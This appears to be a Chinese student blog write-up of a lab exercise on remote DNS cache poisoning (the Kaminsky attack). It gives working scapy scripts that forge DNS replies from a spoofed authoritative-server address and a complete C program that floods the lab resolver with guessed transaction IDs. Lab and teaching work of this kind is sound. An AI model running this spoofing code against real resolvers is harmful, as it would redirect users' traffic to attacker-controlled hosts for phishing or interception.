Remote DNS Attack
Overview
在这个实验中更加专注于DNS缓存中毒攻击,而相比于之前的local DNS Attack(攻击者和受害者DNS服务器在一个子网上面),这个实验不允许进行数据包的嗅探
其次,对应的主机设置
用户主机(10.0.2.4)
DNS Server(10.0.2.5)
Attacker(10.0.2.7)
Setup Task
task 1:配置用户虚拟机
当配置完成之后,运行dig www.baidu.com
可以看到当10.0.2.5的DNS缓存有相应条目的时候,会返回给用户主机,所以本地DNS服务器是10.0.2.5,配置正确
task 2:配置本地DNS服务器
修改对应的/etc/bind/named.conf
对应的/etc/bind/named.cong.options
task 3:配置攻击者主机
task 4:测试配置
step 1:获取ns.attacker32.com的IP地址
输入下面命令,会得到相应的运行结果
dig ns.attacker32.com
通过task3的文件内容可以知道对应的IP地址就是10.0.2.9,正确
step 2:获取www.example.com的IP地址
- 首先是把DNS查询记录发向官方的nameserver
dig www.example.com
- 之后是将DNS query发往ns.attacker32.com服务器
dig @ns.attacker32.com www.example.com
由于此时ns.attacker32.com对应的IP地址是10.0.2.9,按理来说需要向这台命名服务器来进行进一步的询问,但是10.0.2.9是unreachable的
The Attack Tasks
- 原理:是在进行DNS查询的时候进行攻击,正常情况下,当user访问www.example.com的时候,会到本地DNS服务器进行查询,而当本地DNS服务器不具备对应条目的时候,会从根服务器开始进行迭代查询,而我们所需要做的就是将虚假的条目插入到本地DNS服务器当中,让他访问一个虚假的/恶意的主机
Kaminsky attack
原理
attacker向user的本地DNS服务器发送一个请求,不攻击的情况下是
而当我们在(2)进行完之后让attacker向DNS服务器发送spoofed的DNS回应的时候就可以进行注入
task 4:构建DNS请求报文
首先先通过python来查看DNS报文格式以及查询报文格式
>>> ls(DNS)
length : ShortField (Cond) = (None)
id : ShortField = (0)
qr : BitField (1 bit) = (0)
opcode : BitEnumField (4 bits) = (0)
aa : BitField (1 bit) = (0)
tc : BitField (1 bit) = (0)
rd : BitField (1 bit) = (1)
ra : BitField (1 bit) = (0)
z : BitField (1 bit) = (0)
ad : BitField (1 bit) = (0)
cd : BitField (1 bit) = (0)
rcode : BitEnumField (4 bits) = (0)
qdcount : DNSRRCountField = (None)
ancount : DNSRRCountField = (None)
nscount : DNSRRCountField = (None)
arcount : DNSRRCountField = (None)
qd : DNSQRField = (None)
an : DNSRRField = (None)
ns : DNSRRField = (None)
ar : DNSRRField = (None)
>>> ls(DNSQR)
qname : DNSStrField = (b'www.example.com')
qtype : ShortEnumField = (1)
qclass : ShortEnumField = (1)
- 具体代码如下
#!/usr/bin/python
from scapy.all import *
Qdsec = DNSQR(qname ='www.example.com')
dns = DNS(id=0xAAAA, qr=0, qdcount=1, ancount=0, nscount=0,
arcount=0, qd=Qdsec)
ip = IP(dst='10.0.2.5', src='10.0.2.7')
udp = UDP(dport=53, sport=33333, chksum=0)
request = ip/udp/dns
send(request)
之后在wireshark上面可以抓到对应的response的包,能够看到真正的www.example.com的IP地址(93.184.216.34),可见是DNS服务器进行了从根目录开始的查询
之后将DNS缓存进行转存
sudo rndc dumpdb -cache
sudo cat /var/cache/bind/dump.db
可看到对应条目已经在DNS缓存当中
task 5:欺骗DNS reply
具体code
#!/usr/bin/python
from scapy.all import *
name = 'www.example.com' #对应的查询报文端中的hostname
domain = 'example.com' #上面name所属的域名
ns = 'ns.attacker32.com' #这个域名的nameserver
Qdsec = DNSQR(qname=name)
Anssec = DNSRR(rrname=name, type='A', rdata='1.2.3.4', ttl=259200)
NSsec = DNSRR(rrname=domain, type='NS', rdata=ns, ttl=259200)
dns = DNS(id=0xAAAA, aa=1, rd=1, qr=1, qdcount=1,
ancount=1, nscount=1, arcount=0,
qd=Qdsec, an=Anssec, ns=NSsec)
ip = IP(dst='10.0.2.5', src='199.43.135.53') #10.0.2.5是本地DNS服务器的地址,而199.43.135.53是example.com域的权威服务器的IP地址
udp = UDP(dport=33333, sport=53, chksum=0)
reply = ip/udp/dns
send(reply)
运行后进行wireshark抓包
可以看到对应的www.example.com的IP地址已经变为了1.2.3.4
但是此时将对应的DNS缓存打印出来,会发现并没有对应条目,猜测是只有在本地DNS服务器向外发送DNS query之后,如果收到了匹配的DNS response,才会存储在DNS缓存中
task 6:发动kaminsky attack
具体code如下
- 首先是负责构造reply报文格式的py文件
#!/usr/bin/python3
from scapy.all import *
# Construct the DNS header and payload
name = 'zzzzz.example.com'
domain = 'example.com'
ns = 'ns.attacker32.com'
Qdsec = DNSQR(qname=name)
Anssec = DNSRR(rrname=name, type='A', rdata='1.1.2.2', ttl=259200)
NSsec = DNSRR(rrname = domain, type = 'NS', rdata = ns, ttl = 259200)
Addsec = DNSRR(rrname = ns, type = 'A', rdata = '10.0.2.7',ttl = 259200)
dns = DNS(id=0xAAAA, aa=1, rd=0, qr=1,
qdcount=1, ancount=1, nscount=1, arcount=1,
qd=Qdsec, an=Anssec, ns = NSsec, ar = Addsec)
# Construct the IP, UDP headers, and the entire packet
ip = IP(dst='10.0.2.5', src='199.43.135.53', chksum=0)
udp = UDP(dport=33333, sport=53, chksum=0)
pkt = ip/udp/dns
# Save the packet to a file
with open('ip_resp.bin', 'wb') as f:
f.write(bytes(pkt))
- 其次是构造request报文格式的py文件
#!/usr/bin/python3
from scapy.all import *
ip = IP(dst = '10.0.2.5')
udp = UDP(dport = 53, chksum = 0)
name = 'zzzzz.example.com'
Qdsec = DNSQR(qname=name)
dns = DNS(id=0x100, qr=0, qdcount=1, qd=Qdsec)
query = ip/udp/dns
with open('ip_req.bin', 'wb') as f:
f.write(bytes(query))
- 最后是进行发送以及欺骗的c文件
#include <stdlib.h>
#include <arpa/inet.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <time.h>
#define MAX_FILE_SIZE 1000000
/* IP Header */
struct ipheader {
unsigned char iph_ihl:4, //IP header length
iph_ver:4; //IP version
unsigned char iph_tos; //Type of service
unsigned short int iph_len; //IP Packet length (data + header)
unsigned short int iph_ident; //Identification
unsigned short int iph_flag:3, //Fragmentation flags
iph_offset:13; //Flags offset
unsigned char iph_ttl; //Time to Live
unsigned char iph_protocol; //Protocol type
unsigned short int iph_chksum; //IP datagram checksum
struct in_addr iph_sourceip; //Source IP address
struct in_addr iph_destip; //Destination IP address
};
void send_raw_packet(char * buffer, int pkt_size);
void send_dns_request(char *ip_req, int n);
void send_dns_response(char *ip_resp, int n);
int main()
{
long i = 0;
srand(time(NULL));
// Load the DNS request packet from file
FILE * f_req = fopen("ip_req.bin", "rb");
if (!f_req) {
perror("Can't open 'ip_req.bin'");
exit(1);
}
unsigned char ip_req[MAX_FILE_SIZE];
int n_req = fread(ip_req, 1, MAX_FILE_SIZE, f_req);
// Load the first DNS response packet from file
FILE * f_resp = fopen("ip_resp.bin", "rb");
if (!f_resp) {
perror("Can't open 'ip_resp.bin'");
exit(1);
}
unsigned char ip_resp[MAX_FILE_SIZE];
int n_resp = fread(ip_resp, 1, MAX_FILE_SIZE, f_resp);
char a[26]="abcdefghijklmnopqrstuvwxyz";
while (1) {
unsigned short transaction_id = 0;
// Generate a random name with length 5
char name[5];
for (int k=0; k<5; k++)
name[k] = a[rand() % 26];
printf("attempt #%ld. request is [%s.example.com], transaction ID is: [%hu]\n",
++i, name, transaction_id);
//##################################################################
/* Step 1. Send a DNS request to the targeted local DNS server
This will trigger it to send out DNS queries */
// ... Students should add code here.
memcpy(ip_req+41, name, 5);
send_dns_request(ip_req, n_req);
// Step 2. Send spoofed responses to the targeted local DNS server.
// ... Students should add code here.
memcpy(ip_resp+41, name, 5);
memcpy(ip_resp+64, name, 5);
for(int i = 0 ; i < 5000 ; i++)
{
unsigned short id =rand();
unsigned short id_net_order = htons(id);
memcpy(ip_resp+28, &id_net_order, 2);
send_dns_response(ip_resp, n_resp);
}
//##################################################################
}
}
/* Use for sending DNS request.
* Add arguments to the function definition if needed.
* */
void send_dns_request(char *ip_req, int n)
{
// Students need to implement this function
send_raw_packet(ip_req, n);
}
/* Use for sending forged DNS response.
* Add arguments to the function definition if needed.
* */
void send_dns_response(char *ip_resp, int n)
{
// Students need to implement this function
send_raw_packet(ip_resp, n);
}
/* Send the raw packet out
* buffer: to contain the entire IP packet, with everything filled out.
* pkt_size: the size of the buffer.
* */
void send_raw_packet(char * buffer, int pkt_size)
{
struct sockaddr_in dest_info;
int enable = 1;
// Step 1: Create a raw network socket.
int sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
// Step 2: Set socket option.
setsockopt(sock, IPPROTO_IP, IP_HDRINCL,
&enable, sizeof(enable));
// Step 3: Provide needed information about destination.
struct ipheader *ip = (struct ipheader *) buffer;
dest_info.sin_family = AF_INET;
dest_info.sin_addr = ip->iph_destip;
// Step 4: Send the packet out.
sendto(sock, buffer, pkt_size, 0,
(struct sockaddr *)&dest_info, sizeof(dest_info));
close(sock);
}
之后进行DNS缓存的存储以及查找对应的条目
可以看到对应条目已经出现,成功
task 7:检查结果
在用户主机上面分别运行dig命令
dig www.example.com
dig @ns.attacker32.com www.example.com
可以看到对应的结果是一样的,此时DNS本地服务器缓存中毒攻击成功
本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!